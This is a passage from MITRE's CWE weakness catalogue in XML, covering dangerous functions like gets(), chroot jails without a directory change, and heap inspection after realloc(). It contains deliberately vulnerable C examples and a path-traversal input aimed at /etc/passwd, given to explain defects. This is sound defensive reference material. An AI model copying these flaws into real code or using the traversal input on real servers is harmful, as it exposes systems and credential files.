					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Wrong Data
						Type</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Wrong Data
						Type</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="242" Name="Use of Inherently Dangerous Function" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The program calls a function that can never be guaranteed to
					work safely.</Description_Summary>
				        <Extended_Description>
					          <Text>Certain functions behave in dangerous ways regardless of how they are
						used. Functions in this category were often implemented without taking
						security concerns into account. The gets() function is unsafe because it
						does not perform bounds checking on the size of its input. An attacker can
						easily send arbitrarily-sized input to gets() and overflow the destination
						buffer. Similarly, the &gt;&gt; operator is unsafe to use when reading into
						a statically-allocated character array because it does not perform bounds
						checking on the size of its input. An attacker can easily send
						arbitrarily-sized input to the &gt;&gt; operator and overflow the
						destination buffer.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>710</Relationship_Target_ID>
					          <!--Coding Standards Violation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>120</Relationship_Target_ID>
					          <!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ban the use of dangerous functions. Use their safe equivalent.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
				  	        <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use grep or static analysis tools to spot usage of dangerous
							functions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The excerpt below calls the gets() function in C, which is
						inherently unsafe.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char buf[BUFSIZE];</Code>
							              <Code>gets(buf);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-5">
					          <Intro_Text>The excerpt below calls the gets() function in C, which is
						inherently unsafe.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Block>
								                <Code>char buf[24];</Code>
								                <Code>printf("Please enter your name and press
									&lt;Enter&gt;\n");</Code>
								                <Code>gets(buf);</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the programmer uses the function gets() which is inherently
							unsafe because it blindly copies all input from STDIN to the buffer
							without checking size. This allows the user to provide a string that is
							larger than the buffer size, resulting in an overflow condition.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Herbert Schildt</Reference_Author>
					          <Reference_Title>Herb Schildt's C++ Programming Cookbook</Reference_Title>
					          <Reference_Section>Chapter 5. Working with I/O</Reference_Section>
					          <Reference_Publisher>McGraw-Hill Osborne Media</Reference_Publisher>
					          <Reference_Date>2008-04-28</Reference_Date>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 5, "gets and fgets" Page 163</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Dangerous Functions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not use vfork()</Mapped_Node_Name>
					          <Mapped_Node_ID>POS33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings, Type, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Dangerous
						Functions</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Use of Inherently Dangerous
						Functions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="243" Name="Creation of chroot Jail Without Changing Working Directory" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program uses the chroot() system call to create a jail, but
					does not change the working directory afterward. This does not prevent access to
					files outside of the jail.</Description_Summary>
				        <Extended_Description>
					          <Text>Improper use of chroot() may allow attackers to escape from the chroot
						jail. The chroot() function call does not change the process's current
						working directory, so relative paths may still refer to file system
						resources outside of the chroot jail after chroot() has been called.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>669</Relationship_Target_ID>
					          <!--Incorrect Resource Transfer Between Spheres-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="UNIX"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>The chroot() system call allows a process to change its perception of the
						root directory of the file system. After properly invoking chroot(), a
						process cannot access any files outside the directory tree defined by the
						new root directory. Such an environment is called a chroot jail and is
						commonly used to prevent the possibility that a processes could be subverted
						and used to access unauthorized files. For instance, many FTP servers run in
						chroot jails to prevent an attacker who discovers a new vulnerability in the
						server from being able to download the password file or other sensitive
						files on the system.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Consider the following source code from a (hypothetical) FTP
						server:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>chroot("/var/ftproot");</Code>
							              <Code>...</Code>
							              <Code>fgets(filename, sizeof(filename), network);</Code>
							              <Code>localfile = fopen(filename, "r");</Code>
							              <Code>while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF)
								{</Code>
							              <Block>
								                <Code>fwrite(buf, 1, sizeof(buf), network);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>fclose(localfile);</Code>
						            </Block>
						            <Text>This code is responsible for reading a filename from the network,
							opening the corresponding file on the local machine, and sending the
							contents over the network. This code could be used to implement the FTP
							GET command. The FTP server calls chroot() in its initialization
							routines in an attempt to prevent access to files outside of
							/var/ftproot. But because the server does not change the current working
							directory by calling chdir("/"), an attacker could request the file
							"../../../../../etc/passwd" and obtain a copy of the system password
							file.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Directory Restriction</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Background_Details,
						Description, Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Directory
						Restriction</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Change Working
						Directory in chroot Jail</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="244" Name="Improper Clearing of Heap Memory Before Release ('Heap Inspection')" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Using realloc() to resize buffers that store sensitive
					information can leave the sensitive information exposed to attack, because it is
					not removed from memory.</Description_Summary>
				        <Extended_Description>
					          <Text>When sensitive data such as a password or an encryption key is not removed
						from memory, it could be exposed to an attacker using a "heap inspection"
						attack that reads the sensitive data using memory dumps or other methods.
						The realloc() function is commonly used to increase the size of a block of
						allocated memory. This operation often requires copying the contents of the
						old memory block into a new and larger block. This operation leaves the
						contents of the original block intact but inaccessible to the program,
						preventing the program from being able to scrub sensitive data from memory.
						If an attacker can later examine the contents of a memory dump, the
						sensitive data could be exposed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>226</Relationship_Target_ID>
					          <!--Sensitive Information Uncleared Before Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>669</Relationship_Target_ID>
					          <!--Incorrect Resource Transfer Between Spheres-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Be careful using vfork() and fork() in security sensitive code. The
							process state will not be cleaned up and will contain traces of data
							from past use.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code calls realloc() on a buffer containing sensitive
						data:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>cleartext_buffer = get_secret();...</Code>
							              <Code>cleartext_buffer = realloc(cleartext_buffer, 1024);</Code>
							              <Code>...</Code>
							              <Code>scrub_memory(cleartext_buffer, 1024);</Code>
						            </Block>
						            <Text>There is an attempt to scrub the sensitive data from memory, but
							realloc() is used, so a copy of the data can still be exposed in the
							memory originally allocated for cleartext_buffer.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Heap Inspection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Clear sensitive information stored in reusable resources
						returned for reuse</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Clear sensitive information stored in returned reusable
						resources</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. start statement that stores information in a buffer</Text>
						            <Text>2. end statement that resize the buffer and</Text>
						            <Text>3. path does not contain statement that performs cleaning of the
							buffer</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Name, Relationships,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Heap
						Inspection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Failure to Clear Heap Memory
						Before Release</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Clear Heap Memory
						Before Release (aka 'Heap Inspection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Clear Heap Memory
						Before Release ('Heap Inspection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="245" Name="J2EE Bad Practices: Direct Management of Connections" Weakness_Abstraction="Variant" Status="Draft">
